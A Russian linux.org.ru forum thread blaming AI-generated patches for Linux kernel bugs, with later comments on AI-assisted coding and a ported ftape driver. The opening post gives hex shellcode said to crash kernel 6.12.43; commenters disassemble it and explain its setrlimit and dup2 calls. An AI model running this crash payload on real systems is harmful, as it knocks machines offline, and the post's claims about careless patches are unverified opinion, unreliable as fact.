LINUX.ORG.RU

«AI slop» продолжает разрушать ядро Linux, Линус Торвальдс молчит...

 , , ,


0

4

В LTS ветке ядра Linux, версии 6.12.43, можно легко крашнуть при условии наличия привелегии CAP_SYS_RESOURCE и установленного systemd с помощью следующего кода:

40 b7 40 c1 e7 18 83 ef 08 57 57 31 ff 40 b7 07 31 c0 b0 a0 48 89 e6 0f 05 5e ff ce 31 ff b0 21 0f 05 тёрли свинки друг другу спинки мыли хвостики крючки отмывали пятачки парились веничком парились берёзовым вылетали из парной облачком розовым

Это не первый раз, когда «AI slop» в Linux привлекает внимание. До этого вайб-кодер из Nvidia добавил уязвимости в Linux на пустом месте из-за того что использовал LLM без проверки кода, который она ему выдала.

И это только начало, судя по политике приёма патчей (точнее, отстутсивю любых проверок на валидность кода в патчах, если код приходит от друзей-корпоратов).

Никто не знает полное количество уязвимостей, которые уже успели попасть в Linux за время существования AI в их современном понимании.

Более подробно в треде в X (Twitter)

Перемещено hobbit из linux-general



Последнее исправление: gateb25240 (всего исправлений: 2)

хмм...

0 $ echo 40 b7 40 c1 e7 18 83 ef 08 57 57 31 ff 40 b7 07 31 c0 b0 a0 48 89 e6 0f 05 5e ff ce 31 ff b0 21 0f 05 | tr -d ' ' | xargs cstool x64
 0  40 b7 40                                         mov	dil, 0x40
 3  c1 e7 18                                         shl	edi, 0x18
 6  83 ef 08                                         sub	edi, 8
 9  57                                               push	rdi
 a  57                                               push	rdi
 b  31 ff                                            xor	edi, edi
 d  40 b7 07                                         mov	dil, 7
10  31 c0                                            xor	eax, eax
12  b0 a0                                            mov	al, 0xa0
14  48 89 e6                                         mov	rsi, rsp
17  0f 05                                            syscall	
19  5e                                               pop	rsi
1a  ff ce                                            dec	esi
1c  31 ff                                            xor	edi, edi
1e  b0 21                                            mov	al, 0x21
20  0f 05                                            syscall	
0 $

superuser ★★★★★
()
Ответ на: комментарий от MoldAndLimeHoney

Я не знаю о каких вы тормозах, но я подозреваю что вы не используете Enterprise G версию, там такого нет, что у вас у всех тормозит то?))))

Котелок похоже, да логику не завезли в базовую поставку кожаного)

RedTerror
()
Ответ на: комментарий от rukez

Пока бредогенераторы играющие в угадайки

Пока IT-псевдоспециалисты, не осилят почитать википедию хотя бы, отрасль будет в опасносте

Какой чудовищный кринж

James_Holden ★★★★★
()
Ответ на: комментарий от mark1

Можно, но выдачу от ИИ надо вдумчиво проверять, а не заваливать разработчиков спамом по сути. Очень мало от найденного реальная уязвимость.

anonymous
()
The hex sequence is x86-64 shellcode that performs the following operations:

Computes a large value (0x3ffffff8) and pushes it twice onto the stack to form a struct rlimit.
Sets the resource type to RLIMIT_NOFILE (7).
Invokes syscall 160 (setrlimit) to raise both the soft and hard limits on the number of open files to 0x3ffffff8.
Pops one value from the stack, decrements it to 0x3ffffff7.
Invokes syscall 33 (dup2) to duplicate file descriptor 0 (stdin) to the high file descriptor 0x3ffffff7.

Systemd is related because modern versions (as the init process) increase the system-wide fs.nr_open sysctl to a very high value (e.g., 2^27 or higher), allowing the setrlimit call to succeed with such a large limit without failing due to exceeding fs.nr_open. On non-systemd systems, fs.nr_open defaults to a much lower value (typically 1M), causing setrlimit to fail early

нейронка разобралась))

А если серьезно, то разработка ядра похоже уже давно прогнила. Я помню историю, как Грега КХ спросили что будет, если патч на Си сломает какие-нибудь раст-биндинги. Грег начал объяснять что там есть специальные дружелюбные раст-мейнтейнеры, которые все поправят. Его спросили, а что случится, если правки окажутся нетривиальными. На что он начал мямлить, что пока такого не случалось. На что ему предъявили патч, которые месяц висел без мержа как раз из-за этого. Он на это просто не стал отвечать.

Lrrr ★★★★★
()
Последнее исправление: Lrrr (всего исправлений: 1)
Ответ на: комментарий от Tigger

Сразу вспомнил историю как в рамках оптимизации наняли сеньора с Индии и он код напрямую копи-пастил в chatgpt прямо на созвоне с командой, со всеми env и так далее целыми файлами. И тут же вопросы заданные ему же вставлял в чатик.

anonymous_sama ★★★★★
()
Последнее исправление: anonymous_sama (всего исправлений: 1)

точнее, отстутсивю любых проверок на валидность кода в патчах, если код приходит от друзей-корпоратов

Ну они же платят зарплату Линусу, вот они его и танцуют.

Rodegast ★★★★★
()
Ответ на: комментарий от James_Holden

Код невозможно ревьювить на тупые ошибки, когда он идет в таком количестве и такой сложности. Ревьювить стараются хотя бы на архитектурные проблемы, но если речь о дровах инвидии, то там и этого может не быть, так как архитектуру своих дров они сами и определяют, и предполагается, что у них внутренний процесс ревью налажен.

По тому и стараются то раст внедрить, то всякие чекеры - по-другому никак, людской ресурс давно не соответствует масштабу и сложности проекта.

anonmyous ★★
()

отстутсивю любых проверок на валидность

вайб функбезграмотности с отстутсивюем любых проверок на вальядолидность и панчовилльяность

умничать про «валидность» и одновременно делать то же самое при помощи своей «неотчуждаемой» нейросетки – это фу такими быть.

Это политика переноса тем без всяких проверок на правильность. Хоббит, как ты это перенес? Ты нормально себя чувствуешь?

anonymous
()

При помощи AI для новых ядер Linux портирован драйвер ftape, удалённый 20 лет назад:

Дмитрий Брант (Dmitry Brant) из организации Wikimedia представил порт драйвера ftape для современных ядер Linux. Драйвер перестал обновляться в 2000 году и был исключён из ядра 2.6.20 в 2006 году из-за проблем при работе на многоядерных системах. Для возобновления возможности компиляции и работы драйвера в дистрибутивах с современными ядрами Linux потребовалась его переработка с учётом изменений внутренних API и подсистем ядра, произошедших за последние 20 лет.

Портирование примечательно тем, что оно было выполнено почти целиком силами AI-ассистента Claude Code. В итоге был получен полностью рабочий драйвер, способный собираться и функционировать на системах с ядрами 6.8 и новее. Портирование было выполнено в три этапа. На первом этапе AI-ассистенту была поставлена задача модификации кода драйвера, который мог компилироваться только с ядрами 2.4, для сборки с новыми версиями ядра. AI успешно заменил в драйвере обращения к устаревшим функциям ядра на актуальные вызовы, откорректировал использование структур данных и устранил все ошибки, возникавшие при сборке.

На втором этапе была поставлена задача преобразования драйвера из встроенной в ядро формы в вариант, способный работать в виде загружаемого модуля ядра. AI-ассистент подготовил загружаемый модуль. На третьем этапе путём передачи AI-ассистенту dmesg-вывода с информацией об ошибках и проблемах, возникавших в процессе работы, а также эталонных отладочных dmesg-сообщений от рабочего старого драйвера, порт был приведён в работоспособное состояние, позволяющее определять наличие ленточного накопителя и извлекать содержимое картриджей.

Работу, которая вначале казалась трудновыполнимой и требующей нескольких недель изучения документации, удалось проделать за два вечера. Для создания рабочего модуля потребовалось три запроса, несколько обсуждений и пару ручных правок кода. При этом Дмитрий отмечает, что не стоит переоценивать AI-помощники, которые лишь инструменты, требующие осмысленного взаимодействия. Дмитрий знает язык Си и имеет представление о модулях ядра, но заставить AI-помощник действовать в нужном направлении без знаний внутреннего устройства модулей ядра по его мнению было бы невозможно.

При формулировании задачи требуется знать специфику и использовать профессиональную терминологию, чётко формулируя каркас реализуемой функции и определяя пустоты в этом каркасе, которые должен заполнить AI. Также необходимо изучить сильные и слабые стороны AI-ассистентов, чтобы не давать им задачи, с которыми они не смогут хорошо справиться. Для достижения результата Дмитрий советует рассматривать AI-ассистент как усилитель собственных навыков, а общение с ним как сотрудничество с подчинённым инженером, который сделает всё что сказано, стремится угодить, самоуверен, но признаёт ошибки. Принятие решений, задание правил и ответственность за результат остаются за человеком.

Драйвер ftape предназначен для работы с ленточными накопителями, использующими картриджи QIC, в которых применяется собственный проприетарный формат кодирования и сжатия информации. Подобные устройства часто использовались в 1990-е годы для резервного копирования. Поддерживаемые драйвером ленточные накопители не требовали дорогого SCSI-контроллера и подключались к типовому контроллеру Floppy-дисков (например, устройства Colorado Jumbo 250 и Ditto Max) или параллельному порту (Trakker, Iomega Ditto).

Ftape был единственным драйвером, способным извлекать дампы картриджей в raw-режиме, что позволяло вначале загрузить полный дамп, а уже потом разбираться с раскодированием формата и извлечением файлов. При этом подключение накопителя через контроллер Floppy-дисков напоминало хак, так как драйверу приходилось "обманывать" контроллер, рассчитанный на работу только с Floppy-дисками, для передачи команд и организации взаимодействия с ленточным накопителем.

Ранее для извлечения информации c ленточных картриджей Дмитрию приходилось использовать отдельный компьютер с CentOS 3.5 и ядром 2.4.21. После портирования драйвера архивы стало возможно извлекать на ПК c современными дистрибутивами Linux, такими как Ubuntu 24.04. Поддерживается 32- и 64-разрядные сборки, но для работы с устройствами, подключаемыми к контроллеру Floppy-дисков, требуется материнская плата с подобным контроллером.

В качестве областей применения драйвера упоминается восстановление информации со старых ленточных картриджей и использование в проектах по воссозданию ретрокомпьютеров. В дальнейшем на базе драйвера намерены подготовить инструментарий для низкоуровневого извлечения данных со сбойных ленточных накопителей, использующий raw-дампы для восстановления информации, независимо от состояния таблиц разделов или наличия сбоев коррекции ошибок. 
dataman ★★★★★
()
Ответ на: комментарий от dataman

я уже написал с ии довольно изрядно кода и не сяду за новый без ии, поскольку он есть под рукой.

много лишней работы берет на себя, но все надо досконально проверять. простые места он делает безукоризненно, но заковыристыый код делает просто в лоб, невзирая на получающуюся сложность.

то, что (при знании предмета) можно записать в 20 строк, запросто раскатает на 120.

alysnix ★★★
()